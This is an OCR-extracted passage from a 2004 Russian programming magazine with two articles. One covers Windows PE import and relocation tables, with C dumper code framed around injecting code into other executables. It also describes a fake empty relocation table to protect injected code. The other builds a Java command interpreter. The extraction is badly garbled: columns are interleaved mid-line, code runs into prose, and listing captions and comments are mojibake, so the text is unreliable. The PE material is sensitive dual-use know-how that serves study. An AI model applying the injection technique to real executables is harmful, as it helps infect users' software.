Ëèñòèíã 12. Ïðîòîòèï ñòðóêòóðû IMAGE_BOUND_IMPORT_DESCRIPTOR Поле pIAT содержит указатель на таблицу адресов от-
typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR { ложенного импорта, организованную точно так же, как и
DWORD TimeDateStamp; обычная IAT, с той лишь разницей, что все элементы таб-
WORD OffsetModuleName;
WORD NumberOfModuleForwarderRefs; лицы отложенного импорта ведут к delay load helper – спе-
// Array of zero or more IMAGE_BOUND_FORWARDER_REF follows циальному динамическому загрузчику, также называемо-
} IMAGE_BOUND_IMPORT_DESCRIPTOR, *PIMAGE_BOUND_IMPORT_DESCRIPTOR;
му переходником (thunk), который вызывает Load Library
Практический пример работа таблицы BOUND_IMPORT (если только библиотека уже не была загружена), а затем
приведен ниже: дает GetProcAddress и замещает текущий элемент табли-
цы отложенного импорта эффективным адресом импор-
Ëèñòèíã 13. Ïðîñòîé äàìïåð òàáëèöû äèàïàçîííîãî èìïîðòà тируемой функции, благодаря чему все последующие
n2k_walk_bound(BYTE *pBound, BYTE *pBaseAddress) вызовы данной функции осуществляются напрямую в об-
{ ход delay load helper.
DWORD time_x; WORD name_offset; WORD n_ref;
if (!pBaseAddress) pBaseAddress = pBound; При выгрузке DLL из памяти последняя может восста-
новить таблицу отложенного импорта в исходное состоя-
while(1) // ðàçáèðàåì bound
{ ние, обратившись к ее оригинальной копии, RVA-указа-
// èçâëåêàåì âñå çíà÷åíèÿ тель, на которую хранится в поле pUnloadIAT. Если же ко-
time_x = *(DWORD*) pBound; ↵
n_ref = *((WORD*) (pBound+6)); пии нет, ее указатель будет обращен в ноль.
name_offset = *((WORD*) (pBound+4)); ↵ Поле pINT содержит RVA-указатель на таблицу имен,
if (!name_offset) break;
во всем повторяющую стандартную таблицу имен (см.
// âûâîäèì èõ íà òåðìèíàë name Table). То же самое относится и к полю pBoundIAT,
printf("[%04X] %-30s %d\n",time_x, ↵
name_offset + pBaseAddress, n_ref); хранящему RVA-указатель на таблицу диапазонного им-
порта. Если таблица диапазонного импорта не пуста и ука-
// ñëåäóþùèé ýëåìåíò
pBound += 8; занная временная метка совпадает с временной меткой
} printf("\n"); соответствующей DLL, системный загрузчик просто про-
}
ецирует ее на адресное пространство данного процесса и
механизм отложенного импорта дезактивируется.
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT:
Вот мы и добрались до отложенного импорта… Рассмот- Ëèñòèíã 15. Ïðîñòåéøèé äàìïåð òàáëèöû îòëîæåííîãî èìïîðòà
рим его лишь вкратце, поскольку ничего хорошего ожидать // ïðîãóëèâàåìñÿ ïî òàáëèöå delay-èìïîðòà
все равно не приходится. Для экспериментов нам понадо- n2k_walk_delay(BYTE* pDelay, BYTE *pBaseAddress)
{
бится по меньшей мере один файл с отложенным импор-
том. Если же такого в вашем распоряжении нет, создайте WORD a = 0, hint;
BYTE *name, *f_name;
его самостоятельно. Пользователи Microsoft Linker могут DWORD attr, ordinal;
поступить так: link dll.test.impl.obj /DELAYLOAD: dll.dll dll.lib char buf[MAX_BUF_SIZE];
DWORD *INT, *IAT, *f_addr;
DELAYIMP.LIB, а пользователи линкера ulink от Юрия Ха-
рона (которым я сам давно пользуюсь и который всем на- //attr = *(DWORD*)pDelay;
стоятельно рекомендую), так: ulink -d dll.test.impl.obj dll.lib. while(1)
{
Ëèñòèíã 14. Ïðîòîòèï ñòðóêòóðû ImgDelayDescr // èçâëåêàåì óêàçàòåëè íà IAT è INT
IAT = (DWORD*)*((DWORD*)(pDelay + 0x0C));
INT = (DWORD*)*((DWORD*)(pDelay + 0x10));
typedef struct ImgDelayDescr {
DWORD grAttrs; // attributes
LPCSTR szName; // pointer to dll name // èçâëåêàåì óêàçàòåëü íà èìÿ ìîäóëÿ
name = (BYTE*) *((DWORD*) (pDelay + 0x04));
HMODULE* phmod; // address of module handle
PimgThunkData pIAT; // address of the IAT
PCImgThunkData pINT; // address of the INT // ýòî êîíåö?
if (!IAT || !INT) break;
PCImgThunkData pBoundIAT; // address of the optional
// bound IAT
PCImgThunkData pUnloadIAT; // address of optional copy // ýâðèñòè÷åñêîå ðàñïîçíàâàíèå àäðåñà
if ((DWORD) name < (DWORD) pBaseAddress) ↵
// of original IAT name += (DWORD) pBaseAddress;
DWORD dwTimeStamp; // 0 if not bound,
// O.W. date/time stamp if ((DWORD) IAT < (DWORD) pBaseAddress)
IAT = (DWORD*)((DWORD) IAT + ↵
// of DLL bound to Old BIND (DWORD) pBaseAddress);
} ImgDelayDescr, * PImgDelayDescr;
if ((DWORD) INT < (DWORD) pBaseAddress)
INT = (DWORD*)((DWORD) INT + ↵
Поле grAttrs задает тип адресации, применяющийся в (DWORD) pBaseAddress);
служебных структурах отложенного импорта (0 – VA, 1 –
// ïå÷àòàåì èìÿ ìîäóëÿ
RVA); поле szName содержит RVA/VA-указатель на ASCIIZ- printf("%s\n",name);for(a;a<strlen(name); ↵
строку с именем загружаемой DLL (тип адреса определя- a++)printf("-");printf("\n");
ется особенностями реализации конкретного delay helper, printf( " hint name/ordinal address\n"\

№6(19), июнь 2004 69


программирование
"------------------------------------\n"); DIRECTORY_ENTRY_BASERELOC в DATA_DIRECTOTY (но
// ïå÷àòü èìåí
это делает файл немобильным), либо же вовсе не связы-
while(1) ваться с файлами, содержащими таблицу перемещаемых
{ элементов (но это не по-хакерски). Можно ли запретить си-
f_name = (BYTE*) *INT++; f_addr = ↵ стемному загрузчику гробить внедренный нами код, не ли-
(DWORD*) *IAT++; шая файл свойства перемещаемости? Оказывается, мож-
if (!f_name || !f_addr) break;
но – достаточно создать пустую таблицу перемещаемых
if ((DWORD)f_name < (DWORD)pBaseAddress) элементов, переустановив на нее IMAGE_DIRECTORY_
f_name += (DWORD) pBaseAddress;
ENTRY_BASERELOC, а оригинальную таблицу перемеща-
if ((DWORD)f_addr < (DWORD)pBaseAddress) емых элементов обрабатывать самостоятельно, делая это
f_addr = (DWORD*)((DWORD)f_addr+ ↵
(DWORD) pBaseAddress); уже после того, как все секции будут приведены в исход-
if ((DWORD) f_name & 0x80000000)
ное состояние (распакованы и/или извлечены из оверлея).
{ Почему подложная таблица перемещаемых элементов
sprintf(buf, "#%d",((DWORD) ↵ должна быть пустой? Потому что системный загрузчик
f_name) & 0xFFFF);
f_name = buf; hint = 0; содержит грубую ошибку и в отсутствие таблицы переме-
} щаемых элементов не перемещает файл вообще (а ведь
else
{ по спецификации – должен). Разумеется, внедряемый код
hint = *(WORD*) f_name; ↵ необходимо спроектировать с учетом непостоянства ба-
f_name = &f_name[2];
} зового адреса загрузки, т.е. использовать абсолютную
printf("[%04d] %-30s:%08Xh\n", ↵ адресацию нельзя и необходимо либо ограничиться од-
hint,f_name, f_addr);
} printf("=========================\n\n"); ной относительной, либо автоматически определять мес-
pDelay += 0x20; // ñëåäóþùèé ýëåìåíò то своей дислокации в памяти и в дальнейшем плясать
}
} уже от него.
К сожалению, микропроцессоры семейства I386 с пе-
ремещаемым кодом не в ладах, т.к. ориентированы на
Перемещаемые элементы абсолютную адресацию и налагают запрет на явное ис-
Таблица перемещаемых элементов не является обяза- пользование регистра EIP (указатель следующей выпол-
тельной и используется только когда загрузка по адресу, няемой машинной инструкции). Мы не можем сказать про-
прописанному в image base, оказывается невозможной. цессору: mov eax, [eip+666h] (занести в регистр eax двой-
Тогда системный загрузчик обращается к таблице пере- ное слово, лежащие на 666h байт ниже следующей ис-
мещаемых элементов, представляющей собой массив ука- полняемой команды), и приходится прибегать к всевоз-
зателей на RVA-адреса страничного имиджа, требующих можным ухищрениям, проталкивая регистр EIP через стек,
коррекции, и увеличивает их на разницу предполагаемо- добираясь до него так: call @label/@label:pop eax, что эк-
го и фактического адресов загрузки. вивалентно: mov [esp], eip/mov eax,[esp], где esp – указа-
Допустим, в программном коде имелась инструкция тель вершины стека. Кстати, о стеке. Это удобное храни-
типа mov eax, [401000h], где 401000h – абсолютный адрес лище данных, не требующее к тому же задания абсолют-
ячейки памяти страничного имиджа. Если файл будет заг- ных адресов.
ружен не по адресу 400000h, на который он и рассчиты- По соображениям эффективности таблица перемеща-
вал, а, скажем, по адресу 10000000h, ячейка 401000h в емых элементов хранится в упакованном формате, вмес-
обязательном порядке должна быть скорректирована, то массива 32-разрядных RVA-адресов, указывающих на
иначе в регистр eax попадет совершенно непредсказуе- модифицируемую ячейку памяти внутри страничного
мое значение. Вычислив дельту загрузки (10000000h – имиджа, мы имеем массив 16-разрядных слов, 4 старших
400000h == FC00000h) и выудив из таблицы перемещае- бита которых задают тип перемещаемой ячейки, а 12
мых элементов RVA-адрес корректируемой ячейки, сис- младших бит – смещение, отсчитываемое от начала стра-
темный загрузчик складывает его с дельтой загрузки и ницы (page). Под «страницей» здесь понимается отнюдь
получает: mov eax, [10001000h]. не страницы памяти, а непрерывный регион памяти, RVA-
При внедрении в файл путем замещения секции (на- адрес которого задается внутри специальной структуры.
пример, сжатии и/или сбрасывании части ее содержимо- Таким образом, таблица перемещаемых элементов состо-
го в оверлей) это создает следующие проблемы. Первое ит из одного или нескольких последовательно располо-
и главное: если хотя бы один перемещаемый элемент по- женных блоков. В начале блока идет его RVA-адрес и раз-
падет внутрь внедренного нами кода и файл будет дей- мер, а за ними 16-битный массив упакованных смещений.
ствительно перемещен, внедренный код окажется полно- Заглянув в файл WINNT.H, мы обнаружим структуру
стью или частично испорчен и его поведение станет не- _IMAGE_BASE_RELOCATION, определенную так (не пу-
предсказуемым (все зависит от того, куда придется «ра- тайте ее с _IMAGE_RELOCATION, относящуюся к объек-
нение»). Во-вторых, даже если он и выживет, то восста- тивным файлам):
новленная секция окажется неработоспособной, ведь со-
ответствующие адреса не были скорректированы. Ëèñòèíã 16. Ïðîòîòèï ñòðóêòóðû IMAGE_BASE_RELOCATION
Многие руководства советуют либо прибивать табли- typedef struct _IMAGE_BASE_RELOCATION {
цу перемещаемых элементов, обнуляя поле IMAGE_ DWORD VirtualAddress;

70
программирование
DWORD SizeOfBlock; // îáðàáîòêà ðàçíûõ òèïîâ fixup
// ìàññèâ óïàêîâàííûõ ïåðåìåùàåìûõ ýëåìåíòîâ switch(typeX)
// WORD TypeOffset[1]; {
} IMAGE_BASE_RELOCATION; case 0: printf("\tIMAGE_REL_BASED_ABSOLUTE\n");
break;
Ëèñòèíã 17. Èñòèííûé ðàçìåð ìàññèâà TypeOffset
case 3: printf("\tIMAGE_REL_BASED_HIGHLOW ↵
TypeOffset[(SizeOfBlock – sizeof(VirtualAddress) – ↵ @ %08Xh --> %08Xh\n",
sizeof(SizeOfBlock))/sizeof(WORD)] offsetX + pPreferAddress, ↵
offsetX + pBaseAddress);
I386-загрузчик поддерживает двенадцать типов пере- break;
default:
мещаемых элементов, но на практике обычно использует- printf("\t%x - not supported\n", typeX);
ся лишь один из них: IMAGE_REL_BASED_HIGHLOW (03h), break;
}
указывающий на младший байт 32-разрядного значения, } printf("\n");
к которому следует добавить дельту загрузчика. В пере- // áåðåì ñëåäóþùèé áëîê
воде на межсистемный программистский это выглядит так: pReloc += blockSize;
}
}
if ((TypeOffset[i] >> 12) == 3 ) *(DWORD*) ((TypeOffset[i] ↵
& ((1<<12)-1)) + pageRVA + (DWORD) pBaseAddress) ↵
+= ((DWORD) pBaseAddress - (DWORD)pPreferAddress)
Заключение
Когда будете это делать, не забудьте предварительно …уф! наконец-то мы добрались до кочки, одиноко торча-
убедиться, что соответствующая страница памяти имеет щей среди топкого болота. Теперь можно обсохнуть, от-
атрибут Writable и, если его нет, временно измените атри- мыться, собраться с мыслями и какое-то время передо-
буты страницы, обратившись к API-функции функции хнуть. Вы еще не передумали писать свой вирус? Да уж!
VirtualProtectEx, а после исправления всех перемещаемых Такой марш-бросок любое влечение угробит… И правиль-
элементов верните атрибуты назад. но! В этом мире выживают лишь те, чье стремление ра-
Остальные типы перемещаемых элементов описаны в зобраться в системе доминирует над желанием напакос-
спецификации на PE-файл. Обещаю, что вы узнаете мно- тить ближнему своему. Написать грамотный и во всех от-
го интересного. В частности, перемещаемые элементы ношениях корректный «внедритель» ох как непросто! И
типа IMAGE_REL_BASED_HIGHADJ хранят целевой адрес пока вы будете переваривать полученную информацию,
сразу в двух TypeOffset. Первый указывает на ячейку, со- незаметно подоспеет следующий номер со следующей
держащую старшее перемещаемое слово, а второй – порцией информационного концентрата. Когда они соеди-
младшее. На I386-процессорах такая комбинация не име- нятся вместе, произойдет своеобразная алхимическая
ет никакого смысла, но на других платформах может быть реакция и на свет родится крохотный организм огромно-
широко распространена. го кибернетического мира. Конкретно, в статье будет по-
Ниже приведен исходный текст простейшего дампера казано именно как осуществляется внедрение машинно-
таблицы перемещаемых элементов: го кода в посторонее тело.

Ëèñòèíã 18. Ðàçáîð òàáëèöû ïåðåìåùàåìûõ ýëåìåíòîâ 1


Опыт – чудесная вещь, он позволяет вам узнавать свою
n2k_walk_reloc(BYTE* pReloc, BYTE *pBaseAddress, ↵ ошибку в тех случаях, когда вы ее допускаете снова и
BYTE *pPreferAddress) снова. (С) неизвестен.
{ 2
Строго говоря, никаких виртуальных страниц/секторов
BYTE *pageRVA; DWORD a, blockSize, typeX, offsetX; нет. Эта авторская терминология. Правильнее говорить
// âû÷èñëÿåì äåëüòó çàãðóçêè о минимальной порции (кванте) данных, равной выб-
printf( "\ndelta := %08Xh\n"\ ранной кратности выравнивания на диске и в памяти,
"==================\n\n", ↵
pBaseAddress - pPreferAddress); но постоянно набивать такое на клавиатуре слишком
длинно и утомительно.
// ïåðåáèðàåì âñå fixup áëîêè – îäèí çà äðóãèì
while(1)
{
// âû÷èñëÿåì àäðåñ íà÷àëà ñòðàíèöû è ðàçìåð áëîêà
pageRVA = (BYTE*)(*(DWORD*) pReloc); ↵
blockSize = *(DWORD*) (pReloc+4);

if (!blockSize) break; // ýòî êîíåö?


// ðàñïàêîâûâàåì ïåðåìåùàåìûå ýëåìåíòû,
// âû÷èñëÿÿ àäðåñà êîððåêòèðóåìûõ ÿ÷ååê
Ðèñóíîê Îëåãà Ìîðîçîâà

printf("FIXUP BLOCK - pageRVA: %06Xh, ↵


size %06d bytes\n"\
"-------------------------------------\n",
pageRVA, blockSize);

for (a = 8; a < blockSize; a += 2)


{
// èçâëåêàåì òèï fixup è ñìåùåíèå
// îòíîñèòåëüíî pageRVA
typeX = (*(WORD*)(pReloc + a)) >> 12;
offsetX = (*(WORD*)(pReloc + a)) & ((1<<12)-1);

№6(19), июнь 2004 71


программирование

ПРОСТОЙ ИНТЕРПРЕТАТОР КОМАНДНОГО ЯЗЫКА

АЛЕКСАНДР ФЕФЕЛОВ
Я часто сталкиваюсь с необходимостью создания интер- интерпретатор для командного языка. В качестве языка
претаторов командных языков и встраивания их в прило- программирования я буду использовать Java.
жения. Под командным языком я понимаю язык, предназ-
наченный для последовательного исполнения операторов Intro
вызова команд, описываемых простым синтаксисом: Итак, имеется некоторый язык (далее будем называть его
целевым), поддерживающий только один оператор – опе-
êîìàíäà [ïàðàìåòð1 [ïàðàìåòð2 ... [ïàðàìåòðN]]] ратор вызова команды. Программы на этом языке запи-
сываются в виде последовательности строк, причем в
Языки подобного рода могут быть использованы: одной строке может быть расположен только один опера-
! для расширения функциональности приложений с по- тор. Система команд целевого языка полностью опреде-
мощью скриптов или макросов; лена решаемой задачей.
! для удаленного управления приложениями (например, Необходимо для этого языка создать интерпретатор,
с помощью протокола Telnet); который, получив очередной оператор, будет выполнять
! для создания интерактивных тестовых программ. его и возвращать результат выполнения.
Возможно, результат выполнения текущего операто-
Примерами таких языков являются язык командной ра будет зависеть от результатов выполнения предыду-
строки ftp-клиента или языки управления столь распрост- щих операторов или от состояния приложения, в которое
раненными сейчас DSL-модемами. встроен интерпретатор. Например, в том же ftp-клиенте
В этой статье я предложу простое решение, которое нельзя получить файл командой get, если перед этим не
позволит вам с минимальными трудозатратами создать было установлено соединение с сервером. Поэтому, ин-

72
программирование
терпретатор должен поддерживать понятие контекста ис- информацию. Оба метода в качестве параметра получа-
полнения, причем одним из результатов выполнения опе- ют имя, под которым команда зарегистрирована в целе-
ратора может быть изменение этого контекста. вом языке.

Ошибки Абстрактный интерпретатор


Начнем с ошибок. Для обработки ошибок, возникающих в Разобравшись с ошибками и командами, мы можем при-
процессе работы интерпретатора, создадим несложную ступить к разработке ядра нашего интерпретатора.
иерархию исключений. Корнем этой иерархии будет ис-
ключение CliError: Структуры данных
Первым делом разберемся, как интерпретатор будет хра-
public class CliError extends Exception { нить данные, отражающие его состояние, – систему ко-
public CliError() { манд и контекст выполнения.
} Система команд, с точки зрения нашего интерпрета-
public CliError(String msg) { тора, – это набор пар «имя-класс», причем имена обяза-
super(msg); ны быть уникальными, а вот классы – нет. Для реализа-
}
ции такой структуры идеально подходит Hashtable. Им и
} воспользуемся.
Как хранить контекст выполнения? Для практического
Все остальные исключения нашей иерахии являются на- применения может оказаться вполне достаточной реализа-
следниками CliError и реализуются аналогичным образом. ция понятия переменных окружения (environment variables),
CliError отражает наиболее общий, неспецифицичес- используемого в командных процессорах, как в UNIX, так и
кий тип ошибки. Более специфические ошибки это: в DOS/Windows. Для хранения контекста также подходит
! SyntaxError – синтаксическая ошибка; Hashtable, но, поскольку и имена, и значения переменных
! UnknownCommandError – неизвестная команда; есть строки, удобнее будет использование Properties.
! KnownCommandError – команда уже существует;
! ClassNotFoundError – не найден класс, реализующий ко- import java.io.*;
import java.util.*;
манду;
! ClassCastError – класс не может реализовывать команду. import simplecli.command.*;
import simplecli.error.*;

Команды abstract public class Interpreter {


У всех команд целевого языка, как бы ни различались ал- private Hashtable commands;
горитмы их работы, есть одно общее важное свойство – private Properties context;
способность к выполнению с определенным набором па- public Hashtable getCommands() {
раметров в определенном контексте. Отразим это в интер- return commands;
}
фейсе Command:
public Properties getContext() {
import java.util.*; return context;
}
import simplecli.error.*;
При разбиении интерпретируемой строки на лексичес-
public interface Command {
кие элементы интерпретатор использует разделитель.
String run(Properties context, ArrayList parameters) Полезно будет оформить этот разделитель как полноцен-
throws CliError;
ный член класса:
Для выполнения команды интерпретатор вызывает ме-
тод run, передавая ему экземпляр ArrayList, содержащий public void setDelimiter(String delimiter) {
this.delimiter = delimiter;
в виде объектов String параметры вызова команды, и эк- }
земпляр Properties, отражающий текущее состояние кон-
public String getDelimiter() {
текста выполнения (см. ниже). Результат выполнения ко- return delimiter;
манды возвращается в виде строки. }
В реальном целевом языке хотелось бы иметь поддер-
жку системы помощи, хотя бы и в минимальном объеме.
Это пригодится в интерактивном режиме работы. Поэто- Инициализация
му добавим в интерфейс Command пару методов: Инициализация интерпретатора, включающая в себя оп-
ределение системы команд и начальную настройку кон-
String getDescription(String name); текста выполнения, зависит, конечно же, от системы, в
String getHelp(String name); которую интерпретатор будет встроен. Поэтому отдадим
инициализацию на откуп абстрактным методам:
}

Метод getDescription должен возвращать краткое опи- public Interpreter() {


context = new Properties();
сание команды, а метод getHelp – подробную справочную initContext(context);

№6(19), июнь 2004 73


программирование
commands = new Hashtable(); if (clause == null) {
initCommands(commands); break;
}
setDelimiter(" ");
} String result = null;
try {
abstract public void initContext(Properties context); result = interpretClause(clause);
} catch (CliError ce) {
abstract public void initCommands(Hashtable commands); err.println(ce);
if (mustStopOnError()) {
break;
}
Режимы работы }
В каких режимах должен работать наш интерпретатор? В if (result != null) {
первую очередь это выполнение программы, записанной out.println(result);
в некотором файле. В более общем случае программа для }
выполнения выбирается интерпретатором из потока. По- if (mustQuit()) {
током может быть и файл, и консольный ввод, и сетевое break;
}
соединение. Назовем такой режим работы потоковым. В }
потоковом режиме интерпретатор получает из потока оче- }
редную строку и выполняет ее. public boolean mustQuit() {
Выделим в особый случай интерпретацию отдельных String quit = context.getProperty("$QUIT");
if (quit == null) {
строк. Например, в графическом интерфейсе пользова- return false;
теля какому-либо пункту меню может быть сопоставлена }
if (quit.equals("yes")
некоторая строка, которая и передается интерпретатору || quit.equals("true")) {
при выборе пользователем этого пункта меню. Назовем return true;
} else {
выполнение интепретатором отдельных строк строковым return false;
режимом работы. }
}
Очевидно, что реализация потоковой интерпретации
может быть основана на возможностях строкового режима. public boolean mustStopOnError() {
String quit = context.getProperty("$STOPONERROR");
Поэтому начнем мы именно со строковой интерпретации: if (quit == null) {
return true;
}
public String interpretClause(String clause) if (quit.equals("yes")
throws UnknownCommandError, CliError { || quit.equals("true")) {
return true;
if (clause == null) { } else {
return null; return false;
} }
clause = clause.trim(); }
if (clause.length() == 0) {
return null;
} Отметим пару особенностей потокового режима работы.
String[] tokens = tokenize(clause, getDelimiter()); Во-первых, каким образом интепретатор узнает о не-
ArrayList parameters = new ArrayList(); обходимости завершения интерпретации? Если програм-
for (int i = 1; i < tokens.length; i++) {
parameters.add(tokens[i]); ма для выполнения считывается из файла, то, очевидно,
} конец файла и служит сигналом интерпретатору. Но что,
Command command = (Command) commands.get(tokens[0]); если строки программы поступают с консоли?
if (command == null) { Во-вторых, что должен делать интерпретатор при об-
throw new UnknownCommandError(tokens[0]);
} наружении ошибки – прервать выполнение или продол-
жить его со следующего оператора?
return command.run(getContext(), parameters);
} Обе проблемы просто решаются с использованием кон-
текста выполнения. Заведем в контексте специальные пе-
public String[] tokenize(String s, String d) {
return s.split(d); ременные (назовем их соответственно $QUIT и $STOPON-
} ERROR) и заставим интерпретатор проверять их значе-
ния после выполнения очередного оператора.
Реализовав строковый режим, мы легко можем реа- Аналогичным образом можно решить задачу выдачи
лизовать и потоковый: приглашения ко вводу, если ввод осуществляется с кон-
соли. Если контекстная переменная $PROMPT что-то со-
public void interpret(BufferedReader in, держит, то это «что-то» и будет использовано в качестве
PrintWriter out, PrintWriter err)
throws IOException { приглашения.
while (true) {
String prompt = context.getProperty("$PROMPT"); Конкретный интерпретатор
if (prompt != null && prompt.length() > 0) { Описанный абстрактный интерпретатор все еще не мо-
out.print(prompt);
out.flush(); жет быть непосредственно встроен в какую-либо сис-
} тему. Необходимо конкретизировать методы инициали-
String clause = in.readLine(); зации.

74
программирование
В качестве примера создадим конкретный интепрета- SetCommand, интерфейс которой схож с интерфейсом
тор и реализуем для него простую, но мощную систему команды SET командных процессоров bash и CMD.EXE.
команд. Вызов SetCommand без параметров будет возвращать
список пар «переменная=значение» для всех переменных,
import java.util.*; определенных в контексте.
import simplecli.command.*; Вызов с одним параметром удалит из контекста пере-
менную, заданную параметром.
public class BaseInterpreter extends Interpreter {
Вызов с двумя параметрами установит переменную,
указанную первым параметром, в значение, заданное вто-
public void initContext(Properties context) {
context.setProperty("$QUIT", "false"); рым параметром.
context.setProperty("$STOPONERROR", "false");
context.setProperty("$PROMPT", ">"); package simplecli.command;
}
import java.util.*;
public void initCommands(Hashtable commands) { import simplecli.error.*;
commands.put("exit", new ExitCommand());
commands.put("quit", new ExitCommand()); public class SetCommand implements Command {
commands.put("bye", new ExitCommand());
commands.put("help", new HelpCommand(this));
commands.put("?", new HelpCommand(this)); public String run(Properties context,
ArrayList parameters) throws SyntaxError {
commands.put("set", new SetCommand());
commands.put("register", new RegisterCommand(this));
commands.put("unregister", new UnregisterCommand(this)); switch (parameters.size()) {
case 0:
} // Íåò ïàðàìåòðîâ - âîçâðàùàåì ñïèñîê âñåõ
}
// ïåðåìåííûõ â êîíòåêñòå âûïîëíåíèÿ.
StringBuffer sb = new StringBuffer();
Enumeration names = context.propertyNames();
Как видите – ничего сложного. В контексте создаются while (names.hasMoreElements()) {
описанные выше специальные переменные, а в системе String name = (String) names.nextElement();
String val = context.getProperty(name);
команд регистрируются несколько команд, о реализации sb.append(name + "=" + val);
которых мы и поговорим ниже. if (names.hasMoreElements()) {
sb.append(CRLF);
Самая простая команда – команда завершения интер- }
претации ExitCommand (здесь и далее я называю коман- }
if (sb.length() > 0) {
ды по именам классов, их реализующих). Эта команда return sb.toString();
просто меняет значение контекстной переменной $QUIT: } else {
return null;
}
package simplecli.command;
case 1:
import java.util.*; // Îäèí ïàðàìåòð - óäàëÿåì èç êîíòåêñòà âûïîëíåíèÿ
// ïåðåìåííóþ, óêàçàííóþ â êà÷åñòâå ïàðàìåòðà.
import simplecli.error.*; context.remove((String) parameters.get(0));
return null;
public class ExitCommand implements Command {
case 2:
public String run(Properties context, // Äâà ïàðàìåòðà - óñòàíàâëèâàåì â êîíòåêñòå
ArrayList parameters) throws SyntaxError { // âûïîëíåíèÿ ïåðåìåííóþ, óêàçàííóþ â êà÷åñòâå
// ïåðâîãî ïàðàìåòðà, â çíà÷åíèå, óêàçàííîå
if (parameters.size() > 0) { // â êà÷åñòâå âòîðîãî ïàðàìåòðà.
throw new SyntaxError(); context.setProperty((String) parameters.get(0),
} (String) parameters.get(1));
return null;
context.setProperty("$QUIT", "yes");
return null; default:
} throw new SyntaxError();
}
public String getDescription(String name) { }
return "Exits current interpreter session.";
} public String getDescription(String name) {
return "Manages environment variables.";
public String getHelp(String name) { }
return "Exits current interpreter session."
+ CRLF + "Syntax: " + name; public String getHelp(String name) {
} return "Manages environment variables."
+ CRLF + "Syntax: " + name + " [variable [value]]";
private final static String CRLF = }
System.getProperty("line.separator");
private final static String CRLF =
} System.getProperty("line.separator");
}
Управление контекстом выполнения
Управляя контекстом выполнения, команды могут изме- Побочным эффектом изменения контекста может быть
нять состояние программы, в которую встроен интерпре- влияние на процесс интерпретации. Например, описанная
татор, или влиять на выполнение других команд. выше команда завершения интерпретации может быть
Для управления контекстом мы реализуем команду реализована непосредственно на целевом языке:

№6(19), июнь 2004 75


программирование
set $QUIT true private final static String CRLF =
System.getProperty("line.separator");
}
Система помощи
Интерфейс Command предоставляет возможности для
создания справочной системы. На основе этих возможно- Динамическое изменение
стей мы и запрограммируем команду HelpCommand. Вы- системы команд
зов команды HelpCommand без параметров возвратит Посмотрев на код нашего конкретного интерпретатора,
список всех зарегистрированных команд с кратким опи- можно заметить, что система команд целевого языка фик-
санием каждой из них, а вызов с одним параметром вы- сируется еще на этапе компиляции кода. Это не очень
даст подробную справку по команде, имя которой задано гибкое решение.
параметром. Конечно же, можно переписать метод initCommands
так, чтобы он создавал систему команд «на лету», считы-
package simplecli.command; вая ее описание из конфигурационного файла.
import java.util.*; Но более интересным решением может оказаться
встраивание возможности изменения системы команд
import simplecli.*;
import simplecli.error.*; непосредственно в целевой язык.
Давайте закодируем пару команд RegisterCommand/
public class HelpCommand implements Command {
UnregisterCommand, первая из которых будет добавлять
public HelpCommand(Interpreter interpreter) { команду к системе команд, а вторая – удалять ее оттуда.
this.interpreter = interpreter;
} Команда RegisterCommand должна вызываться с дву-
мя обязательными параметрами. Первый – имя, под кото-
public String run(Properties context,
ArrayList parameters) рым будет зарегистрирована новая команда. Второй –
throws SyntaxError, UnknownCommandError { полностью квалифицированное имя класса, реализующе-
switch (parameters.size()) { го новую команду, причем этот класс должен удовлетво-
case 0: { рять ряду ограничений:
// Íåò ïàðàìåòðîâ - âîçâðàùàåì êðàòêîå îïèñàíèå
// âñåõ èçâåñòíûõ êîìàíä. ! класс должен реализовывать интерфейс Command;
StringBuffer sb = new StringBuffer();
Hashtable commands = interpreter.getCommands();
! класс должен предоставлять конструктор без парамет-
Enumeration names = commands.keys(); ров;
while (names.hasMoreElements()) {
String name = (String) names.nextElement();
! класс должен быть доступен для Java VM через
Command cmd = (Command) commands.get(name); CLASSPATH.
String descr = cmd.getDescription(name);
sb.append(name + "\t" + descr); package simplecli.command;
if (names.hasMoreElements()) {
sb.append(CRLF);
} import java.util.*;
} import simplecli.*;
if (sb.length() > 0) {
return sb.toString(); import simplecli.error.*;
} else { public class RegisterCommand implements Command {
return null;
} public RegisterCommand(Interpreter interpreter) {
} this.interpreter = interpreter;
case 1: { }
// Îäèí ïàðàìåòð - âîçâðàùàåì ïîëíóþ ñïðàâî÷íóþ public String run(Properties context,
// èíôîðìàöèþ ïî êîìàíäå, óêàçàííîé â êà÷åñòâå
// ïàðàìåòðà. ArrayList parameters) throws SyntaxError,
KnownCommandError, ClassNotFoundError, ClassCastError {
String name = (String) parameters.get(0);
Hashtable commands = interpreter.getCommands();
Command cmd = (Command) commands.get(name); if (parameters.size() != 2) {
throw new SyntaxError();
if (cmd == null) { }
throw new UnknownCommandError(name);
} String name = (String) parameters.get(0);
return cmd.getHelp(name); String clazzName = (String) parameters.get(1);
}
Hashtable commands = interpreter.getCommands();
default: if (commands.containsKey(name)) {
throw new SyntaxError();
} throw new KnownCommandError();
}
}
public String getDescription(String name) { Class clazz = null;
try {
return "Prints help infomation."; clazz = Class.forName(clazzName);
}
} catch (ClassNotFoundException cnfe) {
throw new ClassNotFoundError();
public String getHelp(String name) { }
return "Prints help infomation."
+ CRLF + "Syntax: " + name + " [command]"; Command command = null;
} try {
private Interpreter interpreter; command = (Command) clazz.newInstance();
} catch (Exception e) {

76
программирование
throw new ClassCastError(); public class BaseInterpreterTest {
}
public static void main(String[] args)
commands.put(name, command); throws IOException {
return null; System.out.println("BaseInterpreter testbed");
}
BufferedReader in = new BufferedReader(
public String getDescription(String name) { new InputStreamReader(System.in));
return "Registers new command."; PrintWriter out = new PrintWriter(System.out, true);
}
Interpreter interpreter = new BaseInterpreter();
public String getHelp(String name) { interpreter.interpret(in, out, out);
return "Registers new command." }
+ CRLF + "Syntax: " + name + " command class";
} }
private Interpreter interpreter;
Компилируем, запускаем, экспериментируем:
private final static String CRLF =
System.getProperty("line.separator");
}
У команды UnregisterCommand всего один параметр,
который задает команду, подлежащую удалению из сис-
темы команд.

import java.util.*;

import simplecli.*;
import simplecli.error.*;

public class UnregisterCommand implements Command {


Поиграем с командой set:
public UnregisterCommand(Interpreter interpreter) {
this.interpreter = interpreter;
}

public String run(Properties context,


ArrayList parameters)
throws SyntaxError, UnknownCommandError {
if (parameters.size() != 1) {
throw new SyntaxError();
}
String name = (String) parameters.get(0);
Hashtable commands = interpreter.getCommands();
if (commands.remove(name) == null) {
